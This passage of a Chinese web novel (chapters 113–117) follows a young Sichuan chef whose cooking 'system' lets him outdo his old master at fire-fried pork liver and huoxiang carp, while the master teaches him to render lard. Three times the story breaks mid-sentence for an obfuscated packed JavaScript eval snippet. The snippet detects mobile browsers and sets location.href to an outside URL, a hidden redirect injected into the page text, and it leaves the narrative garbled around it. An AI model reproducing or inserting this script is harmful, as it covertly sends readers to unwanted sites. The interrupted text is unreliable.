所以当初周砚说要自己开店的时候，肖磊是反对的，还打算给他写个推荐信，让他去蓉城找他师兄，继续学厨。 不过实在拗不过这个犟种，借钱都要开这个饭店。 这三个月，他有关注着饭店的消息，但从未来过一次。 这是第二次进饭店，但还是第一次来吃饭。 看看店里的客人，一个个吃的都挺满意的，让他倒是有些意外。 莫非这三个月周砚痛定思痛，有了什么感悟，厨艺突飞猛进？ 这也不太符合厨艺提升的基本原理啊。 “看看菜单，你想吃啥就点啥嘛，我也是第一回来。”肖磊目光转向菜单，仔细打量起来。 “第一回来吗……”郑强的表情更古怪了，一般徒弟开饭店，当师傅的不应该扎起吗？ 他上个月底辞职的时候，他师父还特意跟他说了，等他的饭店开业，他请假来给他站台。 可看师叔和师弟的关系，也不像水火不容啊？ “我点个火爆猪肝，你再点一个菜嘛，两个人，两个菜够了。”肖磊说道，这小子倒是连火爆猪肝都敢上菜单了，看旁边那桌客人点的就是火爆猪肝，一口一块，下饭的很，不晓得火候如何。 郑强看了一圈道：“那我点个藿香鲫鱼嘛，尝尝师弟做鱼的手艺。” 他们师门最擅长做鱼，师叔做的鱼他还没尝到，那今天先尝尝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200231|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师弟的手艺。 肖磊点点头，这菜他根本没给周砚教过，也不知道他是从哪学的。 背着他在外面有别的师父了？ 上菜倒是挺快的。 火爆猪肝先上了桌，还有一盆米饭。 份量不少，冒着腾腾热气，棕红色的猪肝微微蜷曲，裹着薄芡，表皮微微焦，青红辣椒与葱白交相呼应，碗底只有一汪浅浅的油，色泽相当诱人。 “这卖相真不赖啊！蓉城餐厅的林大爷最擅长的就是火爆猪肝和火爆腰花，他炒出来的猪肝就是这个状态的！大部分厨子炒出来的猪肝多少有些汤汤水水。”郑强赞叹道，他炒的猪肝水分就多，因此没少被他师父骂。 毕竟这火爆猪肝也是他师父的拿手好菜，和林大爷相比差了点，但绝对是一等一的水准。 “卖相是不错，闻着也香，颜色很正，切的也刚好合适。”肖磊点头，他以前一年要炒几千份火爆猪肝，看一眼心里就有数了。 这火爆猪肝，差不了！ 周砚以前给他切了不少猪肝、腰花，刀工没有落下，还有长进。 “尝尝看。”肖磊拿起筷子，夹了一块猪肝，手一抖，猪肝微颤，这说明里边是嫩的，要是夹起来像块木片，一动不动，说明炒老了。 猪肝入口，锅气炸裂。 鲜！嫩！滑！ 三个特点格外突出，一点膻味都没有。 麻辣鲜香在齿间绽放，调味恰到好处，薄芡勾的太好了，嫩滑的口感尽显对火候的精确把控。 这道火爆猪肝，几乎是完美的！ 肖磊甚至觉得，比他做的更好。 是他一直想要触摸的那道门槛，但始终没能抓住的感觉。 热油中火爆微焦的表皮，与滑嫩的内里形成极致的反差，香味与口感在舌尖上交融碰撞，成了美妙的乐章。 他的思绪一下被拉回了二十多年前，还是少年的他第一次跟着师父学做火爆猪肝，师父给他和师兄演示，猪油烧的滚烫，切成薄片的猪肝滑入锅中，油花四溅，被师父用锅铲快熟滑开，配菜下锅，翻炒，然后出锅装盘，前后也就十数秒钟，一锅成菜。 那是他吃过最好吃的火爆猪肝，就如今天这一份。 嫩滑，又略带焦香。 二十多年过去了，师父已经离世，这成了他一直求而不得的滋味，竟成了他的一道执念。 周砚是怎么悟到的？ 这菜周砚看他做了无数回，他也教过周砚许多次。 可他对火候的把控太差了，要么急着出锅导致没熟，要么过火导致口感泛沙和颗粒感。 调味更是一塌糊涂，一次一个味，从来没让他满意过。 短短三个月，他竟炒出了这样一份完美的火爆猪肝？ 肖磊沉默了，开始思索要不要开口向周砚求教？ 【叮！支线任务触发：师父的执念。】 【任务描述：你的师父肖磊对做出一份完美的火爆猪肝有着极深的执念，多年来求而不得，成了心中的一块心病。请教授他火爆猪肝的完美做法，助力他完成执念。】 【任务奖励：未知特殊奖励。接受：是/否】 厨房里，周砚眉梢一挑，眼睛都瞪大了几分： “我去！倒反天罡！我教师父做菜？” 2500月票加更！万更求月票啊~~~ (本章完) 第114章 做大做强！再创辉煌！ “好吃啊！这火爆猪肝炒的，比我师父炒的还好！” 郑强连着吃了三块火爆猪肝，一脸震惊的看着肖磊：“师叔？我师父在师门里面是不是属于厨艺差的啊？怎么连你的徒弟都比不上？我现在转拜你门下，一个祖师爷，应该不算叛出师门吧？” 肖磊嘴巴动了动，神色有些古怪，喃喃道：“许师兄的天赋，在我之上。” 这火爆猪肝炒的，也比他炒的好吃。 “师叔你太谦虚了，周砚炒的都那么好，你炒的肯定更好，我师父学徒的时候指定不认真，下次去蓉城看他我要让他好好反思反思。”郑强感叹道。 他师父是他亲表叔，他十三岁就跟在他身边学厨，处的跟半个儿子没区别，在他面前啥话都敢说，顶多被抽一顿嘛。 肖磊有些哭笑不得，这师侄品性不错，就是嘴巴有点欠。 蓉城餐厅后厨，一位老师傅正站在灶台边指点年轻厨师炒菜，突有所感，快步走到门口打了两个喷嚏。 “怎么回事？还有人骂我不成？”老师傅摸了摸鼻子，皱眉自语道：“也不知道郑强这小子，回嘉州捣鼓的怎么样了。” 说话间，藿香鲫鱼上了桌。 郑强的注意力立马被吸引，这是他点的菜。 烧鱼是他师父的拿手好戏，当年他们师爷就是靠着一手烧鱼的手艺，成了嘉州名厨。 鱼也是郑强的拿手菜，红烧、清蒸、水煮、干烧样样精通，在蓉城餐厅上班的时候，他做的鱼是后厨的大爷们都是认可的，一些正式的宴席，都会给他动手的机会。 所以在做鱼这件事上，郑强是有几分自信在身上的。 藿香鲫鱼也是他们蓉城餐厅的招牌菜之一，他没少做。 葱花、泡豇豆、泡椒青红交织，被浓稠汤汁裹着盖在鲫鱼上，看起来颇为诱人。 一份是两条八两左右的鲫鱼，分量也不小，两块钱的定价不算贵。 “看着真不赖，不愧是我们师门的天骄。”郑强拿起筷子，先把鱼肚子处的汤汁往边上扒拉了一下，露出了金黄焦脆的鱼皮，改了刀的鱼皮一点没煎散，这可是相当有水准的。 夹了一块带皮的鱼肉，在浓稠的汤汁里一裹，汤汁裹着鱼肉被夹起，泛着微微油光，芡勾的太好了，喂到嘴里。 麻、辣、鲜、香、酸粉墨登场，藿香的气味格外突出，将整体的味道提到了另一个层次。 鱼肉表皮微焦香味更浓郁，但鱼肉丝毫不减滑嫩，这对火候的把控要求极高，稍不注意就会因为过火导致鱼肉变得死板。 火候、调味的完美融合，造就了这一道藿香鲫鱼！ 郑强的嘴巴一抿，吐出了两根鱼骨，表情震惊中带着一点迷惘： “这是一个学厨两年半的厨师做出来的藿香鲫鱼？那我这十八年到底在干什么？这世上真有这等天才吗？” 他曾经以为自己在学厨上算有天赋的，刀工、火候、调味在同龄的厨师里都算不错的，也足够勤勉。 但在这份藿香鲫鱼面前，他仿佛看到了一道天堑。 残忍…… 太残忍了！ 光是这浓汤的调味，就够他研究很多年了。 更让他觉得沮丧的，大概是他觉得他师父做的藿香鲫鱼，也不如这一份。 不过这样一想，他好像也就好受了不少。 等他师父回苏稽过年，他就带他来尝尝师弟做的藿香鲫鱼。 这样的打击，不应该让他一个人承受。 同样沉默的，还有对面也尝了一筷子的肖磊。 藿香鲫鱼属于一种风味独特的做法，先煎后煮难度相对来说更高一些，所以很多饭店会选择直接水煮然后收汁，从而保证藿香鲫鱼足够鲜嫩。 但这种做法也会因为少了煎这一步骤，而失去外焦里嫩的口感和香味。 以周砚当时的火候和调味能力，这对他来说完全是超纲的，所以他根本没教过他做过这道菜，顶多是他站旁边瞧过几回。 然后，他现在端上来这样一份色、香、味俱全，皆做到完美的藿香鲫鱼。 肖磊心中越发笃定周砚在外面有其他师父的想法。 甚至开始怀疑三个多月前，周砚在食堂的种种表现，都是在演他。 没有人能够在短短三个月内，把那么多菜做的如此完美。 哪怕只是火爆猪肝和藿香鲫鱼两道也不可能。 当然…… 他也想过可能周砚是天才，破后而立，在绝望中领悟了做菜的天赋，然后一通百通。 这么离奇的故事，连他喜欢酒后吹牛的师父都没有讲过。 厂食堂的小炒垮的不丢人。 “师叔，连做鱼你们都做的那么好啊？”郑强的笑容中带着几分苦涩，“要不，您也教教我？” 肖磊沉默了一会，道：“你让周砚教你吧，他已经远胜于我了。” “不愧是师叔，高风亮节，泰而不骄！”郑强一脸钦佩，点头道：“那等我有时间再找师弟请教。” 肖磊闻言也懒得解释了，爱信不信。 “这鱼皮煎的火候真好，锅里要多少油？几成油温下锅？煎多久合适呢？” “这泡豇豆是他自己泡的吗？好清爽！” “这料汁勾芡勾的浓而不腻，鱼肉能裹起料汁，但又不腻，我觉得应该是……” 两人一边吃一边讨论，进行了非常深度探讨，互相印证，倒也都有所得。 他们来的不算早，不紧不慢吃着，快吃完的时候，店里也就只剩下两桌喝酒摆龙门阵的客人了。 周砚端着一盘猪头肉、猪耳朵卤味拼盘和一双筷子出来，笑着坐下：“还剩了点没卖完，边吃边聊。” “周师弟，你这藿香鲫鱼和火爆猪肝做的太好了，我这个师兄自愧不如。”郑强看着周砚一脸诚挚，“等你有空的时候，能不能指点一下我做鱼？我还想进步！” 肖磊夹猪头肉的手一顿，看了眼周砚，嘴唇动了动，终究还是没把话说出口。 该死！这死嘴根本张不开！ 周砚把师父的小动作瞧在眼里，想笑又得憋着，看着郑强道：“我们同门师兄弟，说这种见外的话做什么，郑师兄想请教什么只管问，我肯定不藏私。” 郑强是他同门师兄，而且周砚上回尝过他做的红烧鱼，火候、调味皆是极佳。 只说做鱼的话，离开蓉城几大名餐厅，在外面绝对嘎嘎乱杀。 那些不是精通做鱼的二级厨师，可能还不如他。 师门传承，恐怖如斯。 他想要的，不过是在顶尖层次上，更进一步而已。 他要想请教什么，周砚肯定乐意分享。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200232|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 大不了从他手里捞个菜回来，他绝对不会亏。 郑强眼睛一亮：“你说的啊，那我下回可就来找你学了。” “时间你定。”周砚点头。 “要得！”郑强喜滋滋点头，还是自家师弟好啊，一点不扭捏。 周砚又看着肖磊道：“师父，你明天有没有空啊？我这店里的猪油快用完了，明天下午想熬两锅油，但我上回熬的猪油渣太过火，硬的嚼不动，想让你来给我指导指导。我还想上个油渣炒莲白，这菜也得你来给我指点一下。” “油渣莲白不是有手就会？还用得着指点？”肖磊笑了，点点头道：“要得，那我明天中午吃了饭过来嘛，你先把板油称回来，下午我来教你熬。” “要得！”周砚也是喜笑颜开。 油渣炒莲白是一道半荤菜，可以把价格做到三毛。 周砚找师父学一样靠谱，只要做到【不错】以上，就直接上菜单，丰富一下没有素菜的菜单。 不过，我傲娇的师父啊，要怎么让你开口求我呢？ 周砚心里盘算着，已经有了个大概思路，又开口道：“师父，你们今天过来，除了吃饭，还有其他事找我吗？” 郑强没开口，而是看向了肖磊。 “对，我们这次来是找你谈卤肉供应的事情。”肖磊放下筷子，看着周砚道：“我们俩商量了，决定之后接的所有坝坝宴，全部都用你的卤肉，卤猪耳朵、卤猪头肉、卤牛肉，这三样由你来供应，你觉得怎么样？” 周砚闻言有些诧异，想了想道：“坝坝宴都是大订单，我肯定乐意，但东家能同意不？我要供卤肉的话，可就是按斤来算了。” “我跟郑强商量了，对方要是不同意，那就不接，目前来说，我们手里的订单数量还是比较充足的。”肖磊说道，顿了顿，又道： “我们是这样考量的，卤汁的养护比较麻烦，拖着卤汁到处跑也容易出问题，还得分出一个人手来负责。” “等我们做的顺手了，年后一些小规模的宴席，我们就可以单独带帮工干，大日子可以同时接两个单子，这样挣得更多。” 周砚听完连连点头，有些惊讶的看着肖磊：“师父，这主意是你想的？” 肖磊点头，说道：“对，你有什么更好的建议吗？” “你这想法就是极好的，我还能有啥建议。”周砚笑着道：“我祝你们做大做强！再创辉煌！” 不愧是干了十多年厨师长的人，适应能力太强了。 周砚负责提供卤肉的事情，就算是确定下来了。 他只需要把卤肉卤好，当天早上送到坝坝宴的举办地点，不需要切分。 因为不需要切，所以价格的话，他按猪头肉2.2元一斤，猪耳朵2.8元一斤，卤牛肉3.5一斤给他们算。 一场三十桌的宴席，卤肉收入约为八十元，他能挣一半。 这就叫互利互惠，互相成就！ 周砚给他们的乡厨之路扶上马，送一程，这不就得到真金白银的反馈了！ 底层互害，怎么比得上互助。 “对了，师父，我今天炒的这个火爆猪肝怎么样啊？你给指点指点呗。”周砚看着肖磊，一脸期待的笑。 求月票！~   (本章完) 第115章 学会了吗？ 周砚的笑容真挚而期待，看着像个无害的徒儿，等待师父的指点。 肖磊不自觉的坐直了身子，他有点笑不出来了。 指点？还指点啥子？ 今天这份火爆猪肝，炒的比他都好。 这是把他这个师父架在火堆上烤！ 郑强也是看着肖磊，一脸期待。 做的如此完美的火爆猪肝，不知道师叔还能说出怎样的高论。 “你这份火爆猪肝，炒的相当有水平，无论是火候还是调味，都做的非常到位，就算是我也很难达到这种水准了。”肖磊看着周砚，笑容中带着几分感慨：“新竹子冒过老檐坎——节节高！” 郑强愣了一下，没想到师叔竟然也甘拜下风？ 不过……教出这样一位高徒，他应该很得意吧！ 他真该死，除了让师父丢脸，就是想着另投名师。 “师父谦虚了，你的手艺我十分之一都没学到家。”周砚连忙摆手，带着几分唏嘘道：“要说这个火爆猪肝我能炒的好，除了师父的悉心教导，其实还有一个缘由。” “啥子缘由？”郑强来了兴致。 肖磊的身体也是微微前倾，盯住了周砚，脸上难掩期待之色。 周砚往前凑了一点，小声道：“其实，我从我奶奶那里得到了两张残破的菜谱，据说是商周流传下来的，我看了之后非常有感悟，有几道菜的水平提升明显。” “商周……有川菜吗？那时候的人就吃火爆猪肝了？”郑强挠头，感觉哪里不太对劲。 “你奶奶嚯你哦，川菜的发源虽然久远，但你要说商周传下来的菜谱，能让你学会火爆腰花和藿香鲫鱼，那简直是鬼扯。”肖磊也笑了，根本不信。 “那难道是我听撇了？不是商周，是上周？”周砚挠头，看着肖磊道：“反正我觉得写的挺有水平，师父，要不明天你来，我去借来给你瞧瞧？指不定你也会有些领悟。” “你家传的东西，我看不方便的。”肖磊摇头，态度坚决。 “就是，家传的手艺不外传，这是规矩。”郑强跟着道。 周砚看着肖磊道：“师父，火爆猪肝是你的拿手好菜，你不想再进步一点吗？” 肖磊默然，日思夜想的事情，实在没法说不想。 “咱们明天一起来研究研究，我觉得我还有许多地方想向你求教呢，互相进步。”周砚笑着道。 肖磊闻言也笑了，点头道：“要得。” …… 第二天天蒙蒙亮，小周师傅和老周师傅便出门去买菜了。 今天周砚要了四十斤板油，他要把厨房那口大油缸给装满。 小周同志留下的油，随着这两个星期生意日渐火爆，已经见底了。 买油、买柴火，正常的额外开支开始增加了。 不过章老三今天给他带来了一个好消息，猪肉凭票购买估计快要放开了，他们这些肉摊的猪肉价格可能会和供销社那边对其，大幅降价。 这对于周砚这样的个体户来说，可是大利好。 一块八一斤得排骨和一块一斤的排骨能一样吗？ 价格降一降，客人购买意愿就提升了，他还能挣得更多。 中午忙过了，肖磊骑着车不慌不忙地如约而至。 “师父，我把板油都洗好了，就等你来指导呢。”周砚笑着迎出门来。 “走嘛，你肯定熬的多。”肖磊跟着进入厨房。 这是他第一回进周砚的后厨，厨房比他预想的更大一些，布局非常合理，洗切炒区域动线合理，看得他连连点头。 一旁的大盆里已经装满了雪白的猪板油，少说也有四十斤，开口道：“来嘛，开工！” “要得！”周砚就喜欢他这种废话不多，直接开干的性子。 “板油已经洗干净了，先把它切出来，我来说，你来做，下回你自己就会炼了。”肖磊开口道。 “好。”周砚系上围裙，从盆里拿起一块板油放在砧板上。 “你就切麻将大小，这样熬出来的油渣拿来炒莲花白刚好合适。看到这边上的淋巴和血管没得？切的时候把他们割下来丢了，不然熬出来的猪油有股臭腥味……” 师父在旁边指导，周砚上手干。 一大块一大块的板油，很快变成了盆里大小均匀的板油颗粒，堆了两大盆。 “这分量太多了，一锅熬不下，你把两口锅同时烧起，两盆倒下去一起炼。” “整点汉源的花椒，拍一块生姜，再来点料酒去腥增香，板油下锅以后，锅里加点水。” 周砚下了料酒，手一顿，不解的看着肖磊：“师父，炼油怎么还加水呢？” “加点水炼出来的油更白，水分在炼油的过程中会慢慢蒸发掉。”肖磊笑着解释道。 “好。”周砚点头，锅里加点水，把火烧上。 “火候也有讲究，炼油要先大火，再小火，顺序一错，油就会发黑发苦，炼油的过程中要不断搅拌，让肥肉受热均匀……” 对新手来说，炼油不是一件简单的事，但他的容错率较高，你只要盯着锅，又有老师傅在旁边指点，错不了。 白色的板油在锅里滋滋作响，油脂渗出，油渣变成了金黄色，渐渐都浮了起来。 大火转成了微火，继续炼。 “要得了，先把锅里多的油打了装油罐里，再来把油渣里多的油逼出来。”肖磊开口。 周砚连忙从一旁端来两个大油缸，里边的剩油昨天就已经清干净晾干了。 用大瓢舀起泛着淡金色的清亮猪油，过一道漏筛入油罐，滤掉残渣，得到的猪油会更干净清爽，有些菜对油可是有讲究的。 锅里剩下的猪油渣用勺子贴着锅边按压，把油渣里多的猪油用余温慢慢吐出来。 肖磊伸手拈了一块油渣丢嘴里，嚼的咔嚓脆响，点头道：“差不多了，不要挤得太干，不然油渣就过火咬不动了，炒莲花白就要带点油，炒出来才有荤香。” “伯伯，好吃吗？”周沫沫搬个小凳子在旁边已经瞧了一个小时了，看着肖磊吃油渣，忍不住吞了吞口水。 熬猪油太香了，她进了厨房就走不动道了。 “嗯，又香又脆。”肖磊笑着点头，跟周砚道：“拿个小碗，舀十几个给她加一勺白糖拌一哈，当零食吃。” 小家伙长得可爱，又是个小话痨，一个下午叭叭叭说个不停，就是盯着锅里的猪油渣呢。 “好，哥哥给你弄。”周砚把火给撤了，拿了个小碗舀了一勺猪油渣，冒起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200233|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖尖。 肖磊看了直摇头：“多了，这东西太热，娃娃不能多吃，整点尝个味道就行，你这没带过娃娃的。” “硬是，她倒是吃高兴了，晚上不舒服麻烦的还是我们。”赵铁英笑着进门来，又拿了个小碗把猪油渣给分了。 周砚有点尴尬的笑了笑，他确实没想到着一点，光想着让周沫沫吃开心了。 周沫沫那份撒了一勺白糖。 另一碗撒的是吃跷脚牛肉的辣椒面，碗掂两下，让每一块猪油渣都裹上辣椒面。 “谢谢锅锅！”周沫沫接过，一手端着碗，伸手抓了一个丢到嘴里，腮帮子鼓鼓的，开心的嚼着，咔嚓咔嚓，像个小仓鼠一般，萌的不要不要的。 “老汉儿，大嫂，来吃猪油渣，刚炼出来的，味道最巴适。”周砚笑着招呼道，他自己也尝了一块。 裹上辣椒面的油渣，香辣又脆爽，那股荤香直冲天灵盖，拿来下酒绝对是一道好菜。 猪油渣的最佳赏味期，就是现在。 肖磊又吃了一块，点头道：“你这海椒面配得好，香辣微麻，让这猪油渣增色不少。” “硬是香，口感也脆，可惜回锅就不是这个味道了。”赵铁英吃着感慨道。 周淼和赵红吃了也是连连点头。 这个时代，炼猪油是家里的头等大事。 谁不贪恋那一口猪油渣的荤香啊，装在罐子里小心存放，炒菜的时候丢几颗下去，也能尝到些许荤香肉味。 一碗猪油渣，大家分着吃完，脸上都带着笑。 剩下的周砚拿簸箕；捞起来，晾凉了再装，这样不容易回潮。 两大锅猪油，熬了一个下午。 周砚瞧了眼时间，笑着道：“师父，又到晚饭时间了，你整个莲花白，我整个火爆猪肝，将就在店里吃个晚饭嘛。” “要得。”肖磊卷起袖子，周砚已经把莲花白递了过来。 莲花白有很多种叫法，有的地方叫卷心菜，有的地方叫包包菜，在川渝地区一般喊莲花白居多。 现在地里能种出来的蔬菜价格都便宜，青菜一斤三分钱，莲花白也是一个价。 莲花白只要叶子，去杆和心，也不用刀，要手撕才正宗。 肖磊没接，看了眼周砚：“现在你还要让我给你当墩子？” “哎呀，师父，开玩笑嘛。”周砚缩回手，开始手撕莲花白。 杆子和心心不要丢，晾干丢泡菜坛子里泡着，可以当泡菜，也能拿来烧菜用。 拍几瓣蒜，切三个小米辣和几个干辣椒，再来一小把汉源花椒。 刚炼完油的锅，锅底还有一小汪油，锅重新烧热，肖磊拿勺子勾了一把猪油渣下锅，然后将备好的料头下锅爆香，再下入撕好的莲花白，直接大火猛攻，不停翻炒。 莲花白肉眼可见的断生，下入盐巴、味精和一小勺酱油，翻炒几下，直接出锅装盘。 整个过程不到三分钟，肖磊一句话都没说。 【一份相当不错的油渣莲花白】 周砚的眼底已经出现了评价。 “学会了吗？”肖磊看着他问道。 —— PS：求月票！ 求月票！~！ (本章完) 第116章 人在尴尬的时候是会笑 周砚看了他一眼：“这不有手就会吗？” 说完直接涮锅，下油，舀一勺猪油渣开炒。 刚刚剥的莲花白是有余的，备的料头也是双份。 莲花白便宜的跟不要钱似的，油渣也有两筐，趁着师父在，练就完事了。 而且这菜看着确实挺简单的，对火候的把控没那么难，调味更是简单，只要…… 【一份微焦的油渣莲花白】 【一份火候不足的油渣莲花白】 【一份油渣发硬的油渣莲花白】 周砚瞅了一眼肖磊，尴尬地笑了笑。 人在无语的时候确实会忍不住想笑。 看似平平无奇的一道油渣莲白，竟是让他接连失手三回。 三盘成菜，别说“不错”了，连“还行”都没达成。 “还得多练啊，徒弟。”肖磊也笑了。 “师父，这是怎么回事？是不是你站在这里，我有点紧张啊？”周砚瞧着他，试图从师父身上找找原因。 “那我走？”肖磊转身就出了厨房，不带丝毫犹豫，根本不背锅。 周砚重新刷了一遍锅，把他师父先前炒莲花白的动作在脑海中过了一遍，又把自己炒的三盘失败品回顾了一遍。 手太紧，确实是有点紧张。 这是他在系统之外，真正意义上跟着师傅学的第一道菜。 火爆腰花和火爆猪肝的做法差异较小，略微调整就能掌握七七八八。 不过当厨房里只剩下他一个人，心境渐渐平和，智商重新占领高地，这段时间炒菜积攒的火候和调味经验，也是开始活泛起来。 周砚心里清楚系统为辅，要想成为真正的川菜大师，终究还得靠自己努力。 锅里倒油，下入油渣和料头，再下入手撕莲花白，快速翻炒，调味，出锅，一气呵成。 【一份不错的油渣莲花白】 周砚看着眼底跳出的字幕，眼睛一亮，略有些激动道：“师父，我成了！” 肖磊走进门来，看着周砚手里端着的莲花白，笑着点了点头：“嗯，不错，火候是到位了的。” 说着，他拿了一双筷子，夹了一块油渣尝了尝，又尝了一块莲花白，笑着道：“调味也刚好合适，还有一些上升空间，不过上菜单卖是没问题了。” “名师出高徒！师父，还得是你啊。”周砚喜笑颜开，“咱俩真厉害。” “一道素菜给你乐的。”肖磊也笑了。 “那咱们现在来炒火爆猪肝？”周砚瞧着他道，“来，猪肝在这，你先备料嘛，现在轮到我来给你指点。” 肖磊不笑了。 “师父，你该不会还想让我给你当墩子吧？”周砚笑容愈发灿烂。 “来嘛，让周师来指点指点我，看怎么样才能炒出像你这种水准的火爆猪肝。”肖磊切下一块半斤左右的猪肝，开始清洗切片。 周砚背着双手，站在一旁瞧着，半天憋不出一句点评来。 背着的手不知道什么时候放下了，连身子都站直了几分。 因为他发现，他师父做的太标准了。 哪怕以系统的完美标准来评判，也挑不出一点刺来。 周砚何德何能，他不过就是一个靠着系统奖励获得了这道菜的完美经验而已。 而他师父，可是靠着年复一年的努力走到这一步的，没有任何取巧，也没有任何捷径可走。 “周师，料备好了，现在是你来勾芡演示，还是我来炒，你来指点？”肖磊回头看着周砚，笑着问道。 “师父，你喊我小周嘛。”周砚连连摆手，提议道：“你先勾芡炒一份嘛，我看看能不能看出什么名堂，要是我水平不够看不出来，晚上我炒的时候你自己看看能不能找到感觉，你觉得如何？” “要得，周师。”肖磊点头，神情认真道：“你师爷当年说，术业有专攻，三人行必有我师，只要是水平比你高的，都可以成为你的师父。你这火爆猪肝炒的比我好，那你今天就是我师父。喊你周师你就应，不用客套。” “要得。”周砚笑着点头。 肖磊开始调味勾薄芡，大火烧锅，锅里倒入宽油，待到油温足够高的时候，倒入提前码好味道的猪肝，用勺子快速滑散。 热油滋滋冒泡，猪肝快速变色，香味随之升腾而起。 十几秒钟，立马出锅装盘。 【一份极其不错的火爆猪肝】 周砚的眼底跳出一行备注。 只在完美之下一点点。 无论是色泽还是香气，看起来和周砚做的并没有什么区别。 “周师，请点评一下。”肖磊看着他说道。 周砚拿了一双筷子，夹起一块猪肝喂到嘴里。 猪肝很滑嫩，口感极佳，麻辣鲜香，锅气十足。 绝对超水准的火爆猪肝！ 不愧是他师父的拿手菜，拿出来绝对能打。 一般食客，应该很难吃出和他炒的火爆猪肝的区别。 除了赵东这种经常吃的老饕，因为太过熟悉，又确实爱吃，些许的差异都会被他无限放大。 “周师，怎么说？”肖磊看着他，面露期待之色。 周砚重新夹起一块，对着灯光仔细瞧着，又喂到嘴里再细细品尝了一会，开口道：“火候和调味已经相当完美，如果硬要找问题的话，我觉得那点差异在勾芡和火力上。” “勾芡、火力？”肖磊皱眉。 “芡勾的略微厚了一点点，这保证了猪肝的绝对滑嫩的同时，在口感上也有了些许的差异。”周砚点头，“你火候把握的非常精准，但如果能把火力稍微加大一点，在相同的炒制时间下，让更高的油温在短时间内让表皮形成微焦的状态，香味和口感都会有些许改变。” 肖磊闻言若有所思，这些年他其实一直都有在调整和尝试，但勾芡和火力在稳定之后确实很少再做改变，点头道：“行，等晚上我再看你炒的试试。” 今晚的工作餐，有吃不完的油渣莲花白。 那份微焦的油渣莲花白，在倒入泔水桶前被赵红拦下，她尝了一口，果断倒走了。 “焦香焦香的，比我炒的好多了，带回去热一热，两个娃娃肯定喜欢吃。”赵红笑着道。 “要得。”周砚点头，虽然略微发焦，但也只是些许，除了卖相差点，味道还行。 吃过晚饭，工厂开始下班，饭店也是立马忙碌起来。 周砚在后厨火力全开，忙得不可开交。 肖磊也没光看热闹 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“师父，这口锅交给你，还有六份火爆猪肝，你来炒吧。”周砚往旁边让了一步，直接给他师父腾了一口锅出来。 他看了，今天赵东没来。 他师父炒的火爆猪肝有下限保证，在苏稽称第二，只有他敢称第一。 客人很难吃出差别来。 一样是非常美味且优秀的火爆猪肝。 而且，如果炒出来的火爆猪肝没达到【极其不错】水准，周砚也不会让上桌。 “要得。”肖磊毕竟是老师傅，怯场这种事情不可能出现在他身上。 火力加大，热锅下入宽油，油温升的足够高后，下入猪肝…… 【一份微焦的火爆猪肝】 周砚和肖磊面面相觑。 肖磊尴尬的笑了笑，“这个……那个……火力好像大了点，油温没控制好，这一份卖相差了点，就不给客人上了嘛。” “师父，没得事，继续炒，今天猪肝有多的。”周砚不以为意的摆手。 当初小周学厨的时候，翻的车远比这多且离谱 柴火灶的缺点就是火力控制困难，多丢一块木头，多拉两下风箱，火力的瞬时变化很难把控。 他师父毕竟第一回用这锅，控制不好才是正常的。 肖磊也不纠结，立马刷锅重开。 第二份火爆猪肝出锅。 【一份极其不错的火爆猪肝】 周砚瞄了一眼，笑着点头：“这份可以了。” “有点找到感觉了，油温还可以再升一点点。”肖磊也点头，刷锅开始炒下一份。 【一份极其不错的火爆猪肝】 …… 一份份猪肝被端出厨房，肖磊表现的越发自信从容。 周砚眼底的鉴定结果并未出现任何变化，但炒出来的猪肝肉眼可见的有了差别。 第六份猪肝出锅。 肖磊夹起一片尝了尝，细细品味一番后，点头道：“还差一点点。” “师父，要不明天再来学一天？”周砚咧嘴笑。 这免费的劳动力，太香了。 …… (本章完) 第117章 周日用餐开放预约中 … 猪肝炒完了，肖磊没有急着走，给周砚帮到最后一份菜炒完。 火候差点意思的两份猪肝，赵红也一起倒回去了。 “开店确实锻炼人，看得出来你这四个月没少苦练，成长了不少。”肖磊看着抹灶台的周砚，语气中带着几分感慨。 周砚的水准他太清楚了，除了勤学苦练，短时间内不可能提升那么多。 饭店后厨就他一个人，一顿炒上百个客人的菜，和之前厂食堂的小炒区规模差不了太多。 时间**二十年，肖磊自认这个年纪的自己，做不到周砚这般好。 “你之前在厂食堂的表现，是不是在演我？”肖磊盯着周砚的眼睛，昨晚因为这个事，他都没睡好。 周砚一脸坦荡和无辜：“师父，你怎么能这样想我？我是这种人吗？” “那你有没有背着我在外面找其他师父？” “天地为证，除了我奶奶教我做卤味，我绝对没有第二个师父！”周砚一点不心虚。 系统嘛，那是挂，不能算师父。 肖磊伸手拍了拍他的肩膀，笑着道：“不要那么死板嘛，都新时代了，以后要是碰到有水平的大师，该拍马屁就拍马屁，有机会学手艺千万不要犹豫。你要学会了，回头再教你师父我，我还喊你一声周师嘛。” 